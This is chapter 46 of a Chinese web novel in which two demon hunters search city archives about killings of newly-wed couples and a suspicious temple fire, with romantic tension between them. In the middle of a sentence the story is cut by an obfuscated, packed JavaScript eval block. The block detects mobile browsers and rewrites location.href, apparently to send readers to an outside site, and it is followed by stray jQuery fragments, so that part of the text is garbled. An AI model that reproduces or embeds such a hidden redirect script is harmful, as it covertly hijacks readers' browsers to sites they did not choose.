46. 他好像在拥抱着她

作品:《攻略阴湿反派失败后

    殷逐白语气轻描淡写:“人有相似,也不是什么稀奇事。”


    崔若盈道:“也是。”


    她不再提这件事。两人出了李家,直奔安平城衙门。


    一般来讲,城内出了疑似妖怪伤人、杀人的事件,都必须上报,府衙也会将这件事记录留档,等待除妖师查阅。


    而除妖师拿着身份令牌,可以任意调取这部分卷宗,当地官府不得有任何阻拦。


    安平城刚出现新婚夫妻被害事件时,官府也请过除妖师。然而那妖怪极其擅长隐匿,来的除妖师都无功而返,官府对此也不抱期望了。


    见到有除妖师过来询问此事,官差都有些惊讶,但还是带两人去了保有相关档案的架库阁。


    “近些年的案件卷宗都在这里了。”官差指了指其中一个书架,“你们要找的就在那里面,前两波除妖师调查的记录也在那里,两位自行查阅吧。”


    崔若盈扫了眼他所指的书架,见上面密密麻麻堆放着卷宗,不由得有些头疼。


    殷逐白对官差道了谢,温文有礼的模样让官差多看了他几眼,声音也恭敬了几分。


    “这里日夜都有人看守,两位可以慢慢找。若要离开,知会一下看守人就行了。”


    说着,对崔若盈和殷逐白点点头,转身退出房间,还贴心地关好了门。


    徐徐吹来的风骤然被关上的房门挡在外面,房间中只剩一片泥泞般的沉默。下午的阳光从窗户照进来,崔若盈看见灰尘在空气中飞舞。


    崔若盈走到书架前:“看来他们没有帮忙的意思。”


    殷逐白倒是很善解人意:“他们毕竟不是除妖师,如果帮忙查阅,说不定会遗漏重要线索。”


    说着,他侧头看了眼崔若盈,见她踮着脚,望着摆放在书架最上方的卷宗,不由得笑了笑。


    “我们一起查吧,希望能赶在天黑之前,查到有用的线索。”


    殷逐白走到她的身后,抬手去拿最高处的卷宗。


    宽大的袖子在重力的作用下滑落,露出他雪白紧实的手臂。崔若盈只要一抬头,就能看到他手臂上盘踞的青紫色血管。


    殷逐白把卷宗拿了下来。


    打扫架库阁的人似乎偷懒了,最上层的书架上落了一层薄薄的灰。


    殷逐白蹙眉瞥了眼卷宗上的蛛网,掏出手绢把上面的灰尘擦干净,这才将它递到崔若盈面前。


    “给。”


    崔若盈接过卷宗,一边翻看一边道:“我记得殷家主很爱干净来着。”


    殷逐白低低道:“所以……才不想让你的手被弄脏。”


    为了方便查阅调取卷宗,架库阁内靠窗的位置放了桌椅,那桌椅倒是被擦得干净。


    崔若盈将窗打开,午后的风从窗口涌入,吹动她鬓边的发丝。崔若盈站在窗户旁,吸了几口新鲜空气,这才坐到椅子上。


    殷逐白早已坐在了她的对面。


    桌面上,卷宗堆积如山。


    两人都没有说话,安静地翻阅着资料,希望能在卷宗中查到关于那妖怪的蛛丝马迹。


    时间一点点过去,血红的夕晖斜斜地穿过半敞开的窗户,染红崔若盈的面庞。崔若盈抬起头,揉了揉有些酸痛的脖颈,朝外面看了眼,再看看系统面板上的时间。


    原来已经是下午五点了。


    太阳很快落下。古代没有彻夜闪烁的霓虹灯,夜晚总是来得很早很早。等最后一抹残阳隐退,夜色就要吞没整个世界了。


    崔若盈将卷宗放到一旁,整理了一下刚才得到的信息。


    按照卷宗上记载,第一起案件发生在一年半以前,受害的新婚夫妻是城西的张贵、赵平娘两人。


    这二人青梅竹马,到了适婚年龄就开始谈婚论嫁。因为两人都是平头百姓,也没有大摆筵席,只请了些亲戚朋友相聚。


    新婚那日无事发生,晚上新郎回房,也都风平浪静,没人察觉出异常。


    直到第二日早上,新婚夫妻迟迟没有露面,家里人察觉到不对,才进新房查看,结果却见到了两人残缺的尸体。


    家人又惊又悲,几欲昏厥,在邻居的帮助下报了官。官府派人查看了现场,又找仵作验尸,才发现两名死者的尸体上有被啃咬过的痕迹,眼珠也都不翼而飞了。


    没过几天,安平城内又有其他命案发生,过程都大差不差。这件事明显不是普通人所为。于是官府将这件事归类于“妖怪作祟”。


    至今为止,安平城已经发生了十几起类似事件,受害者也有三十七人之多。


    殷逐白轻轻皱起眉:“这样严重的事,居然拖了一整年还未解决。”


    崔若盈道:“这段时间大量妖族迁移到芦州,有很多妖怪实力都很强。应该不是不想管,是管不过来吧。”


    除妖师人手短缺,连殷逐白这个家主,都要披星戴月大半夜出去除妖,然后再风尘仆仆赶回家中。


    嘶……这样看来,他这家伙还挺劳模的。


    殷逐白翻了翻另一份资料,忽然道:“崔姑娘,你看。”


    “嗯?”


    崔若盈应了一声,走到他的身后,弯腰去看他手里的卷宗。夕阳的光映在她的发上,让她的发丝闪烁着如火光般的金红色光辉。


    “除妖师?”


    崔若盈凑近了些,轻轻念出上面的字。


    几缕发丝从她鬓边垂落,如同瀑布般冰冰凉凉地落在他的肩头。殷逐白垂了垂眼,指尖轻柔地碰上她的发丝,又趁着她没注意快速缩回。


    而他的身体,却不着痕迹地凑近了些。


    殷逐白道:“这是那些除妖师留下的调查记录。”


    他好像是故意的。说话时产生的气息肆无忌惮地喷薄在她的颈侧。那气息灼热,像是火山爆发的前兆,烫得人心神不宁。


    崔若盈侧目看了他一眼,见他坐姿端正,神色如常,如同高山上的皑皑白雪。夕阳的光落在白雪上,千万朵堆积起来的雪花一同亮着华美凛冽的光辉。


    一副凛然不可侵犯的模样。


    “崔姑娘?”


    温热的呼吸又落在她身上。崔若盈忽略掉那种异样感,回应道:“我在听。”


    她伸手翻了页卷宗,目光停留在纸上几个端正的字上:“罗刹鸟?他们觉得在这里作乱的妖怪是罗刹鸟?”


    殷逐白点头:“这就是我想让你看的。你还记得吗?”


    崔若盈笑了笑:“当然记得。”


    做完内河村任务回程的路上,她就碰到了一只变成殷逐白模样的罗刹鸟。不过那只妖怪被她识破,死在殷逐白剑下了。


    “这么说确实挺像的。”崔若盈想了想,“又会幻化、又善于隐藏。而且我听说,罗刹鸟喜食眼珠。这些案件的死者尸体破损程度各有不同,但眼珠确实都不见了。不过……”


    不过,她又总觉得这件事不是那么简单。


    “崔姑娘的怀疑也有道理。”殷逐白合上卷宗,站起身来,“其实这几年,妖怪伪装成其他妖族作案的事件屡见不鲜,小心些没有坏处。”


    “既然能查的卷宗都查完了,我们先回去吧。”


    崔若盈又看了看天色。几句话的工夫,太阳已经没入地平线,绯红色的晚霞在天际徜徉,点点银色星光缀在天空正中。


    她抱着沉重的卷宗走到书架前,一边将它们一一放回原位,一边道:“对了,我刚才查卷宗时发现,原来不是所有被妖怪袭击的人都死了。”


    殷逐白也在整理书架。在渐渐黯淡的天光中,他的神色也如同笼罩了一层薄薄的纱。


    “还有幸存者?”


    “嗯,是个女子。”崔若盈道,“我们明天去找她,看看能不能问出点什么。”


    虽然那些除妖师已经问得很详细了,但说不定还有他们没注意到的细节。


    似乎觉得自己的语气有些生硬,崔若盈停顿了一下,又补充道:“可以吗?”


    殷逐白温柔地笑道:“我听你的。”


    崔若盈心里翻了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971183|156401||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个白眼。


    说得好听。


    如果反派都听她的,她让他喜欢她,他就喜欢她;她让他去死,他就去死……那该是怎样一件美事啊。


    算了。不做梦了。


    把书架上的东西都放回原位,崔若盈拍掉手上的灰尘:“好了,我们走吧……咦,等等。”


    她突然想到了什么,原本打算离开的脚步一转,走到了另一个书架前,弯腰开始翻找起来。


    架库阁里的卷宗是按照时间分类的,崔若盈找的那处放着的,应该是两三年前的卷宗了。


    殷逐白走过去:“你发现什么了吗?”


    “没,就是想起一件事。”


    崔若盈从书架最底下抽出一份卷宗,抬手拍掉上面的灰,借着最后一丝天光快速看了一遍。


    殷逐白凑到她身边。他与她离得很近,崔若盈甚至能感觉到他纤长的睫毛扫过她的面颊。


    “金鸣寺?”他垂眼,轻轻念出几个字,“就是我们昨晚住宿的那个古寺吗?那个寺庙和这些案件有什么关系?”


    “没什么关系啊。”


    崔若盈一目十行扫过卷宗上的内容,又把它放回原处。


    “就是有些好奇。”


    “嗯?好奇?”


    他贴得更紧了。两人几乎依偎在一起,呼吸也随着胸膛起伏的节奏而交缠,隔着几层衣料,崔若盈甚至能感觉到他冰冷的体温。


    最后一缕阳光适时被夜晚吞噬,架库阁内只剩一片寂静的深蓝。青年的身体柔软、富有弹性,却没有一丝人气。


    他好像在拥抱着她——而她感觉,拥抱着她的是一具活尸。


    光想想,就让人毛骨悚然了。而崔若盈……崔若盈已经习惯了。


    崔若盈:“……”哥们又犯病了是吗,非要贴着她。


    持续性负好感,间歇性倒贴是吧。


    她忽略掉他缠绕在她身上的发丝,也忽略掉他冰冷如尸体的躯体,镇定地从他的怀中脱身:“对呀。昨天在金鸣寺的时候,我就感觉不对。”


    殷逐白“嗯哼”了一声。从身后传来的声音带着一点慵懒沙哑的鼻音,语气微微上扬,好像在引诱着她。


    “因为金鸣寺还保留着烧焦的建筑。我看了一眼,发现有几处被烧得最严重的建筑中间都隔着一段距离,它们中间的位置烧损反而不严重。”


    也就是说,金鸣寺火灾有好几处起火点,而且几处起火点都很分散。


    殷逐白明白了她的意思:“所以你怀疑是有人故意纵火?”


    崔若盈点头:“所以我才好奇,想看看呀。没想到这里还真有金鸣寺火灾的卷宗。”


    她拍了拍手上的灰,有点得意。可一抬头,就看到殷逐白正在看着她——那目光黏稠,像是最黏的蜂蜜,湿乎乎地贴在她的身上,极其缓慢地向下流淌。


    “……怎么了吗?”


    他又笑起来。他的笑容可真好看,春天所有的花,好像都在这个夜晚一齐绽放。带着这样的笑容,他突然向前一步。


    崔若盈吓了一跳。


    她还以为他要抱她,但殷逐白的动作却骤然停在她身前,只有带着些许倦意的声音,像黏稠而甜蜜的蜂蜜一样,将她彻底淹没。


    “崔姑娘真是……”


    崔若盈无奈抢答:“崔姑娘真是聪明。”


    实在不是她聪明,而是哥们跟个人工智障一样,只会说这几句话。


    转人工,转人工好吧。


    殷逐白又低低笑了起来:“崔姑娘真是聪明。”


    虽然是同一句话,但从他嘴里说出来,好像的确多了种别样的暧昧意味。


    崔若盈没理他,转身就走。


    殷逐白站在黑暗中,看着她的背影,突然又用一种带着凛然正气的正直口吻喃喃道:“崔姑娘,我好像离不开你。”


    然而一眨眼的工夫,崔若盈就已出了门,这句真心话在空荡荡的屋子里转啊转啊,最后只能无奈地消失在黑暗中。